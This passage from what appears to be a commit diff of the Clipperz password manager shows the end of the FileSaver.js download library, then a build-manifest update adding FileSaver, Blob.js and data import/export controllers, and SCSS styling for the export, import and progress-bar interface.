}, 0);
}
, force_saveable_type = "application/octet-stream"
, fs_min_size = 0
// See https://code.google.com/p/chromium/issues/detail?id=375297#c7 and
// https://github.com/eligrey/FileSaver.js/commit/485930a#commitcomment-8768047
// for the reasoning behind the timeout and revocation flow
, arbitrary_revoke_timeout = 500 // in ms
, revoke = function(file) {
var revoker = function() {
if (typeof file === "string") { // file is an object URL
get_URL().revokeObjectURL(file);
} else { // file is a File
file.remove();
}
};
if (view.chrome) {
revoker();
} else {
setTimeout(revoker, arbitrary_revoke_timeout);
}
}
, dispatch = function(filesaver, event_types, event) {
event_types = [].concat(event_types);
var i = event_types.length;
while (i--) {
var listener = filesaver["on" + event_types[i]];
if (typeof listener === "function") {
try {
listener.call(filesaver, event || filesaver);
} catch (ex) {
throw_outside(ex);
}
}
}
}
, FileSaver = function(blob, name) {
// First try a.download, then web filesystem, then object URLs
var
filesaver = this
, type = blob.type
, blob_changed = false
, object_url
, target_view
, dispatch_all = function() {
dispatch(filesaver, "writestart progress write writeend".split(" "));
}
// on any filesys errors revert to saving with object URLs
, fs_error = function() {
// don't create more object URLs than needed
if (blob_changed || !object_url) {
object_url = get_URL().createObjectURL(blob);
}
if (target_view) {
target_view.location.href = object_url;
} else {
var new_tab = view.open(object_url, "_blank");
if (new_tab == undefined && typeof safari !== "undefined") {
//Apple do not allow window.open, see http://bit.ly/1kZffRI
view.location.href = object_url
}
}
filesaver.readyState = filesaver.DONE;
dispatch_all();
revoke(object_url);
}
, abortable = function(func) {
return function() {
if (filesaver.readyState !== filesaver.DONE) {
return func.apply(this, arguments);
}
};
}
, create_if_not_found = {create: true, exclusive: false}
, slice
;
filesaver.readyState = filesaver.INIT;
if (!name) {
name = "download";
}
if (can_use_save_link) {
object_url = get_URL().createObjectURL(blob);
save_link.href = object_url;
save_link.download = name;
click(save_link);
filesaver.readyState = filesaver.DONE;
dispatch_all();
revoke(object_url);
return;
}
// prepend BOM for UTF-8 XML and text/plain types
if (/^\s*(?:text\/(?:plain|xml)|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
blob = new Blob(["\ufeff", blob], {type: blob.type});
}
// Object and web filesystem URLs have a problem saving in Google Chrome when
// viewed in a tab, so I force save with application/octet-stream
// http://code.google.com/p/chromium/issues/detail?id=91158
// Update: Google errantly closed 91158, I submitted it again:
// https://code.google.com/p/chromium/issues/detail?id=389642
if (view.chrome && type && type !== force_saveable_type) {
slice = blob.slice || blob.webkitSlice;
blob = slice.call(blob, 0, blob.size, force_saveable_type);
blob_changed = true;
}
// Since I can't be sure that the guessed media type will trigger a download
// in WebKit, I append .download to the filename.
// https://bugs.webkit.org/show_bug.cgi?id=65440
if (webkit_req_fs && name !== "download") {
name += ".download";
}
if (type === force_saveable_type || webkit_req_fs) {
target_view = view;
}
if (!req_fs) {
fs_error();
return;
}
fs_min_size += blob.size;
req_fs(view.TEMPORARY, fs_min_size, abortable(function(fs) {
fs.root.getDirectory("saved", create_if_not_found, abortable(function(dir) {
var save = function() {
dir.getFile(name, create_if_not_found, abortable(function(file) {
file.createWriter(abortable(function(writer) {
writer.onwriteend = function(event) {
target_view.location.href = file.toURL();
filesaver.readyState = filesaver.DONE;
dispatch(filesaver, "writeend", event);
revoke(file);
};
writer.onerror = function() {
var error = writer.error;
if (error.code !== error.ABORT_ERR) {
fs_error();
}
};
"writestart progress write abort".split(" ").forEach(function(event) {
writer["on" + event] = filesaver["on" + event];
});
writer.write(blob);
filesaver.abort = function() {
writer.abort();
filesaver.readyState = filesaver.DONE;
};
filesaver.readyState = filesaver.WRITING;
}), fs_error);
}), fs_error);
};
dir.getFile(name, {create: false}, abortable(function(file) {
// delete file if it already exists
file.remove();
save();
}), abortable(function(ex) {
if (ex.code === ex.NOT_FOUND_ERR) {
save();
} else {
fs_error();
}
}));
}), fs_error);
}), fs_error);
}
, FS_proto = FileSaver.prototype
, saveAs = function(blob, name) {
return new FileSaver(blob, name);
}
;
FS_proto.abort = function() {
var filesaver = this;
filesaver.readyState = filesaver.DONE;
dispatch(filesaver, "abort");
};
FS_proto.readyState = FS_proto.INIT = 0;
FS_proto.WRITING = 1;
FS_proto.DONE = 2;
FS_proto.error =
FS_proto.onwritestart =
FS_proto.onprogress =
FS_proto.onwrite =
FS_proto.onabort =
FS_proto.onerror =
FS_proto.onwriteend =
null;
return saveAs;
}(
typeof self !== "undefined" && self
|| typeof window !== "undefined" && window
|| this.content
));
// `self` is undefined in Firefox for Android content script context
// while `this` is nsIContentFrameMessageManager
// with an attribute `content` that corresponds to the window
if (typeof module !== "undefined" && module.exports) {
module.exports.saveAs = saveAs;
} else if ((typeof define !== "undefined" && define !== null) && (define.amd != null)) {
define([], function() {
return saveAs;
});
}

File diff suppressed because it is too large Load Diff

View File

@ -5,8 +5,8 @@
"mochikit.commit": "6f26f745d5d915540aa0fc6c34fda24952891a9d",
"reactjs.repository": "https://github.com/facebook/react.git",
"reactjs.version": "0.11.0",
"reactjs.commit": "95d82cacd6e9cc6a2fe6366d79510cc9133886cb",
"reactjs.version": "0.13.1",
"reactjs.commit": "f308c03455f07ec1c7f422220b411ff1c3b024de",
"modernizr.repository": "https://github.com/Modernizr/Modernizr",
"modernizr.version": "2.8.2",
@ -62,6 +62,9 @@
"-- Modernizr/modernizr-2.8.2.js",
"OnMediaQuery/onmediaquery-0.2.0.js",
"FileSaver/Blob.js",
"FileSaver/FileSaver.js",
"PapaParse/papaparse.js",
"-- PapaParse/papaparse.min.js",
@ -177,9 +180,9 @@
"Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js",
"Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js",
"Clipperz/PM/UI/Components/ExtraFeatures/Import.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Input.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js",
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvLabels.js",
@ -203,6 +206,9 @@
"Clipperz/PM/UI/MainController.js",
"-- Clipperz/PM/UI/MainDesktopController.js",
"Clipperz/PM/UI/DirectLoginController.js",
"Clipperz/PM/UI/ExportController.js",
"Clipperz/PM/UI/ImportController.js",
"Clipperz/PM/UI/ImportContext.js",
"main.js"
],

View File

@ -209,9 +209,8 @@ html {
& > div {
@include flex(auto);
overflow: auto;
// overflow: auto;
@include overflow-scroll();
}
footer {
@ -226,6 +225,20 @@ html {
height: 100%;
// background-color: rgba( 0, 0, 0, 0.95);
background-color: black;
.extraFeature {
// @include flexbox();
height: 100%;
h1 {
// @include flex(none);
}
.content {
// @include flex(auto);
height: 100%;
@include overflow-scroll();
}
}
}
}
@ -529,7 +542,7 @@ div.dialogBox {
height: 100%;
.mask {
z-index: 12;
z-index: 25;
}
div.dialog {
@include flex(none);

View File

@ -178,7 +178,7 @@ refer to http://www.clipperz.com.
}
@mixin overflow-scroll () {
overflow: scroll;
overflow: auto;
-webkit-overflow-scrolling: touch;
}

View File

@ -126,6 +126,23 @@ div.overlay {
div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);}
div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);}
}
.progressBar {
// display: block;
width: 100%;
background-color: #222;
height: 4px;
margin-top: 86px;
@include border-radius(2px);
.progress {
background-color: #999;
// width: 70%;
height: 4px;
display: block;
@include border-radius(2px);
}
}
}
//========================================================

View File

@ -25,13 +25,17 @@ div.dialog {
@include box-shadow(0px, 2px, 5px, rgba(50, 50, 50, 0.75));
@include border-radius(8px);
max-width: 70%;
background-color: white;
padding: 30px;
box-shadow: 4px 4px 6px 5px rgba(0,0,0, 0.3);
h3.message {
font-size: 18pt;
font-weight: bold;
padding-bottom: 20px;
white-space: pre-wrap;
word-wrap: break-word;
}
div.answers {

View File

@ -49,8 +49,14 @@ refer to http://www.clipperz.com.
// padding-right: 0px;
border-bottom: 1px solid white;
& > h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px;
}
& > ul {
padding-left: 10px;
// padding-left: 10px;
}
// &:last-child {
@ -68,11 +74,22 @@ refer to http://www.clipperz.com.
li {
& > ul > li {
padding: 10px;
padding-left: 20px;
padding-right: 0px;
cursor: pointer;
&.selected {
background-color: #333;
// color: black;
}
& > div {
padding: 4px;
}
&.offlineCopy {
cursor: default;
}
}
&.open {
@ -83,13 +100,14 @@ refer to http://www.clipperz.com.
}
h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px;
}
// h1 {
// cursor: pointer;
// font-size: 16pt;
// padding: 10px;
// }
h2 {
// cursor: pointer;
font-weight: 300;
font-size: 14pt;
}
@ -157,6 +175,204 @@ refer to http://www.clipperz.com.
display: none;
}
.extraFeature {
padding: 20px;
h1 {
font-size: 20pt;
padding-bottom: 20px;
}
form {
label {
display: none;
}
input {
$border-size: 0px; // 2px;
display: block;
font-size: 18pt;
margin-bottom: 8px;
padding: (6px - $border-size) (10px - $border-size);
border: $border-size solid white;
width: 350px;
color: black;
&.invalid {
border: $border-size solid $clipperz-orange;
color: gray;
}
}
p {
@include flexbox;
@include flex-direction(row);
input {
width: 30px;
@include flex(auto);
}
span {
@include flex(auto);
font-size: 12pt;
}
}
button {
font-family: "clipperz-font";
color: white;
font-size: 14pt;
border: 0px;
margin-top: 20px;
padding: 6px 10px;
border: 1px solid white;
background-color: $main-color;
@include transition(background-color font-weight, 0.2s, linear);
&:hover {
};
&:disabled {
font-weight: 100;
background-color: #c0c0c0;
cursor: default;
&:hover {
};
}
}
// input.valid:focus {
// border: 2px solid $clipperz-blue;
// }
}
ul {
color: white;
li {
padding-bottom: 40px;
}
}
h3 {
font-size: 18pt;
}
.description {
max-width: 500px;
padding: 10px 0px 20px 0px;
p {
font-size: 10pt;
margin-bottom: 7px;
line-height: 1.4em;
color:#bbb;
em {
text-decoration: underline;
}
}
}
.button {
display: inline-block;
color: white;
background-color: $main-color;
font-size: 14pt;
border: 1px solid white;
padding: 6px 10px;
&:after {
};
&.disabled {
background-color: #c0c0c0;
cursor: default;
}
}
}
.dataImport {
.stepNavbar {
li {
display: inline-block;
margin-right:1em;
&.disabled {
color: gray;
}
&.active {
text-decoration: underline;
}
}
}
.error {
margin: 1em 0;
}
textarea {
width:100%;
min-height:400px;
display: block;
margin: 1em 0;
border: 0;
}
.csvTable {
background: white;
margin: 1em 0;
}
.dropArea {
margin: 1em 0;
width: calc(100% - 6px);
text-align: center;
height: inherit;
line-height: 3em;
border: 3px dashed white;
background: black;
}
.button {
margin-right:1em;
}
.jsonPreview {
width: 100%;
height:80%;
overflow: auto;
margin-top:1em;
h3 {
font-weight:bold;
}
ul {
margin-bottom:1em;
padding-left:1em;
li {
.label {
font-weight:bold;
}
}
}
}
}
/*
.changePassphraseForm {
label {
display: block;
@ -184,68 +400,17 @@ refer to http://www.clipperz.com.
display: inline-block;
}
}
/* IMPORT */
.importForm {
textarea {
display: block;
width:100%;
min-height:400px;
}
}
.jsonPreview {
width: 100%;
height:80%;
overflow: auto;
margin-top:1em;
h3 {
font-weight:bold;
}
ul {
margin-bottom:1em;
padding-left:1em;
li {
.label {
font-weight:bold;
}
}
}
}
/* /IMPORT */
*/
form {
input.valid + .invalidMsg, input.empty + .invalidMsg, input:focus + .invalidMsg, input.invalid:focus + .invalidMsg {
visibility: hidden;
}
input:focus {
border: 2px solid $clipperz-orange;
}
input.valid:focus {
border: 2px solid $clipperz-blue;
}
input.invalid + .invalidMsg {
visibility: visible;
}
.invalidMsg::before {
font-family: serif;
content: "\26A0 \0000a0";
}
}
}
}
}
.mainPage.narrow {
#extraFeaturesPanel {
.extraFeatureContent {